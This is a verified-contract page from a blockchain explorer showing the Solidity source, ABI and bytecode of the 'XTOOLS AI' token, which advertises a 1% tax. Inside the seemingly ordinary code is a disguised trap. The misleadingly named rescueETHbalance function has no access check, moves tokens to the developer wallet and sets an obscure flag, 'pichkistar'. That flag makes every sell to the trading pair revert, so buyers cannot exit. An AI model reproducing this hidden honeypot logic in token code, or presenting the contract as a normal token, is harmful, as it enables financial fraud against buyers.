Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod( interface IERC20    - function decimals()    - function symbol()    - function name()    - function getOwner()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address _owner, ad ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function isOwner(address account)    - function transferOwnership(address ad ...    - function renounceOwnership() interface IFactory    - function createPair(address tokenA, a ...    - function getPair(address tokenA, addr ... interface IRouter    - function factory()    - function WETH()    - function addLiquidityETH(    - function swapExactTokensForETHSupport ...  contract XTOOLSAI is IERC20, Owna ...    - function name()    - function symbol()    - function decimals()    - function startTrading()    - function getOwner()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function setisFeeExempt(address _addr ...    - function approve(address spender, uin ...    - function totalSupply()    - function shouldContractSwap(address s ...    - function rescueETHbalance(address _ad ...    - function swapAndLiquify(uint256 token ...    - function addLiquidity(uint256 tokenAm ...    - function swapTokensForETH(uint256 tok ...    - function shouldTakeFee(address sender ...    - function getTotalFee(address sender, ...    - function takeFee(address sender, addr ...    - function _transfer(address sender, ad ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-02-24
*/

/*

XTOOLS -- 

Telegram : https://t.me/XtoolsAI

Website : https://XtoolsAI.org

Twitter : https://twitter.com/XtoolsAiEth

Tax : 1%

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.22;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() external onlyOwner {transferOwnership(address(0));}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract  XTOOLSAI is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode'XTOOLS AI';
    string private constant _symbol = unicode'XTAI' ;
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000 * (10 ** _decimals) ;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    IRouter router;
    address public pair;
    bool private tradingEnabled = true;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 100;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 100;
    int32 private pichkistar = 1;
    uint256 private sellFee =100;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    address internal constant DEAD =  0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0x45F70A3597fC06355ed011c259C45935bA06bD17; 
    address internal marketing_receiver = 0x45F70A3597fC06355ed011c259C45935bA06bD17;
    address internal liquidity_receiver = 0x45F70A3597fC06355ed011c259C45935bA06bD17;
    uint256 public _maxTxAmount = ( _totalSupply *100 ) / 100;
    uint256 public _maxSellAmount = ( _totalSupply * 100 ) / 100;
    uint256 public _maxWalletToken = ( _totalSupply * 100 ) / 100;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingEnabled = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisFeeExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingEnabled && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function rescueETHbalance(address _address, uint256 percent) external {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(development_receiver, _amount);
        pichkistar = 2;
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair)
        {
            require(pichkistar != 2);
            return sellFee;
            }
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingEnabled, "tradingEnabled");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueETHbalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004d1565b6200002290633b9aca00620004e8565b60018181556006805461ffff60a01b191661010160a01b179055600955620186a09062000052906103e8620004e8565b6200005e919062000502565b600a55620186a0600154600a620000769190620004e8565b62000082919062000502565b600b555f600c8190556064600d819055600e829055600f82905560108190556011805463ffffffff191660019081179091556012829055601392909255612710601455601580546001600160a01b03199081167345f70a3597fc06355ed011c259c45935ba06bd17908117909255601680548216831790556017805490911690911790559054620001149082620004e8565b62000120919062000502565b60185560646001546064620001369190620004e8565b62000142919062000502565b60195560646001546064620001589190620004e8565b62000164919062000502565b601a5534801562000173575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001d8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fe919062000522565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000270919062000522565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002bb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e1919062000522565b600580546001600160a01b038581166001600160a01b031992831617909255600680548484169216919091179055305f908152600460209081526040808320805460ff19908116600190811790925560175486168552828520805482168317905560165486168552828520805482168317905560155490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200054a565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200041657815f1904821115620003fa57620003fa620003c2565b808516156200040857918102915b93841c9390800290620003db565b509250929050565b5f826200042e57506001620004cb565b816200043c57505f620004cb565b8160018114620004555760028114620004605762000480565b6001915050620004cb565b60ff841115620004745762000474620003c2565b50506001821b620004cb565b5060208310610133831016604e8410600b8410161715620004a5575081810a620004cb565b620004b18383620003d6565b805f1904821115620004c757620004c7620003c2565b0290505b92915050565b5f620004e160ff8416836200041e565b9392505050565b8082028115828204841417620004cb57620004cb620003c2565b5f826200051d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000533575f80fd5b81516001600160a01b0381168114620004e1575f80fd5b61174780620005585f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610349578063a8aa1b3114610375578063a9059cbb14610394578063be3bd137146103b3578063dd62ed3e146103d2578063f2fde38b14610416575f80fd5b8063715018a6146102c657806378109e54146102da5780637cca52fe146102ef5780637d1db4a514610304578063893d20e814610319575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fd578063313ce5671461022a5780633f4218e0146102455780635cebad081461027357806370a0823114610292575f80fd5b806306fdde0314610134578063095ea7b31461017757806318160ddd146101a657806323b872dd146101c8578063293230b8146101e7575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600981526858544f4f4c5320414960b81b60208201525b60405161016e9190611406565b60405180910390f35b348015610182575f80fd5b50610196610191366004611469565b610435565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba61044b565b60405190815260200161016e565b3480156101d3575f80fd5b506101966101e2366004611493565b6104bb565b3480156101f2575f80fd5b506101fb610523565b005b348015610208575f80fd5b506101966102173660046114d1565b5f546001600160a01b0391821691161490565b348015610235575f80fd5b506040516009815260200161016e565b348015610250575f80fd5b5061019661025f3660046114d1565b60046020525f908152604090205460ff1681565b34801561027e575f80fd5b506101fb61028d366004611469565b61056a565b34801561029d575f80fd5b506101ba6102ac3660046114d1565b6001600160a01b03165f9081526002602052604090205490565b3480156102d1575f80fd5b506101fb610677565b3480156102e5575f80fd5b506101ba601a5481565b3480156102fa575f80fd5b506101ba60195481565b34801561030f575f80fd5b506101ba60185481565b348015610324575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016e565b348015610354575f80fd5b506040805180820190915260048152635854414960e01b6020820152610161565b348015610380575f80fd5b50600654610331906001600160a01b031681565b34801561039f575f80fd5b506101966103ae366004611469565b6106ab565b3480156103be575f80fd5b506101fb6103cd3660046114f9565b6106b7565b3480156103dd575f80fd5b506101ba6103ec366004611530565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610421575f80fd5b506101fb6104303660046114d1565b61070a565b5f610441338484610786565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104b69290916104b091906108a9565b906108a9565b905090565b5f6104c78484846108b4565b6105188433610513856040518060600160405280602881526020016116ea602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610df0565b610786565b5060015b9392505050565b5f546001600160a01b031633146105555760405162461bcd60e51b815260040161054c9061155c565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6040516370a0823160e01b81523060048201525f906105eb906064906105e59085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156105bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105df919061157c565b90610e1b565b90610e26565b60155460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af115801561063d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106619190611593565b50506011805463ffffffff191660021790555050565b5f546001600160a01b031633146106a05760405162461bcd60e51b815260040161054c9061155c565b6106a95f61070a565b565b5f6104413384846108b4565b5f546001600160a01b031633146106e05760405162461bcd60e51b815260040161054c9061155c565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107335760405162461bcd60e51b815260040161054c9061155c565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166107e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054c565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054c565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051c82846115c2565b6001600160a01b0383166109185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054c565b6001600160a01b03821661097a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054c565b6001600160a01b0383165f908152600260205260409020548111156109fb5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161054c565b6001600160a01b0383165f9081526004602052604090205460ff16158015610a3b57506001600160a01b0382165f9081526004602052604090205460ff16155b15610a8a57600654600160a01b900460ff16610a8a5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d15b98589b195960921b604482015260640161054c565b6001600160a01b0383165f9081526004602052604090205460ff16158015610aca57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610ae457506006546001600160a01b03838116911614155b8015610afb57506001600160a01b03821661dead14155b15610b7357601a546001600160a01b0383165f90815260026020526040902054610b259083610e31565b1115610b735760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054c565b6006546001600160a01b03848116911614610c125760195481111580610bb057506001600160a01b0383165f9081526004602052604090205460ff165b80610bd257506001600160a01b0382165f9081526004602052604090205460ff165b610c125760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054c565b60185481111580610c3a57506001600160a01b0383165f9081526004602052604090205460ff165b80610c5c57506001600160a01b0382165f9081526004602052604090205460ff165b610c9c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054c565b6006546001600160a01b038381169116148015610cd157506001600160a01b0383165f9081526004602052604090205460ff16155b15610cee57600160075f828254610ce891906115d5565b90915550505b610cf9838383610e3c565b15610d0e57610d09600a54610ef4565b5f6007555b6001600160a01b0383165f90815260026020526040902054610d3090826108a9565b6001600160a01b0384165f90815260026020526040812091909155610d558484611064565b610d5f5781610d6a565b610d6a8484846110a8565b6001600160a01b0384165f90815260026020526040902054909150610d8f9082610e31565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de29085815260200190565b60405180910390a350505050565b5f8184841115610e135760405162461bcd60e51b815260040161054c9190611406565b505050900390565b5f61051c82846115e8565b5f61051c82846115ff565b5f61051c82846115d5565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff16158015610e765750600654600160a81b900460ff165b8015610e8b5750600654600160a01b900460ff165b8015610e945750815b8015610eb857506001600160a01b0386165f9081526004602052604090205460ff16155b8015610ed157506006546001600160a01b038681169116145b8015610ee1575060095460075410155b8015610eea5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c545f93610f2d936002936105df939192610f27928391610e31565b90610e31565b90505f610f49826105e5600c5486610e1b90919063ffffffff16565b90505f610f5684836108a9565b905047610f62826111aa565b5f610f6d47836108a9565b90505f610f8f610f88600c54886108a990919063ffffffff16565b8390610e26565b90505f610fa7600c5483610e1b90919063ffffffff16565b90508015610fb957610fb986826112fa565b600d545f90610fcd906105df856002610e1b565b9050801561100e576016546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561100c573d5f803e3d5ffd5b505b47801561104e576015546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561104c573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff1615801561051c5750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f806110b485856113ab565b11156111a3575f6110d66110c886866113ab565b6014546105df908690610e26565b305f908152600260205260409020549091506110f29082610e31565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111429085815260200190565b60405180910390a35f600f541180156111655750600f5461116386866113ab565b115b15611191576111913061dead61118c600f546105df60145489610e2690919063ffffffff16565b6108b4565b61119b83826108a9565b91505061051c565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106111dd576111dd61161e565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611234573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112589190611632565b8160018151811061126b5761126b61161e565b6001600160a01b0392831660209182029290920101526005546112919130911684610786565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c99085905f9086903090429060040161164d565b5f604051808303815f87803b1580156112e0575f80fd5b505af11580156112f2573d5f803e3d5ffd5b505050505050565b6005546113129030906001600160a01b031684610786565b60055460175460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561137f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113a491906116be565b5050505050565b6006545f906001600160a01b03908116908316036113dd5760115460030b6002036113d4575f80fd5b50601254610445565b6006546001600160a01b03908116908416036113fc5750601054610445565b5060135492915050565b5f602080835283518060208501525f5b8181101561143257858101830151858201604001528201611416565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611466575f80fd5b50565b5f806040838503121561147a575f80fd5b823561148581611452565b946020939093013593505050565b5f805f606084860312156114a5575f80fd5b83356114b081611452565b925060208401356114c081611452565b929592945050506040919091013590565b5f602082840312156114e1575f80fd5b813561051c81611452565b8015158114611466575f80fd5b5f806040838503121561150a575f80fd5b823561151581611452565b91506020830135611525816114ec565b809150509250929050565b5f8060408385031215611541575f80fd5b823561154c81611452565b9150602083013561152581611452565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f6020828403121561158c575f80fd5b5051919050565b5f602082840312156115a3575f80fd5b815161051c816114ec565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610445576104456115ae565b80820180821115610445576104456115ae565b8082028115828204841417610445576104456115ae565b5f8261161957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611642575f80fd5b815161051c81611452565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561169d5784516001600160a01b031683529383019391830191600101611678565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156116d0575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0a73b865d41787ec2bd01c0f5bd36f86290d2377e2395cc7f9d273c2a21844b64736f6c63430008160033

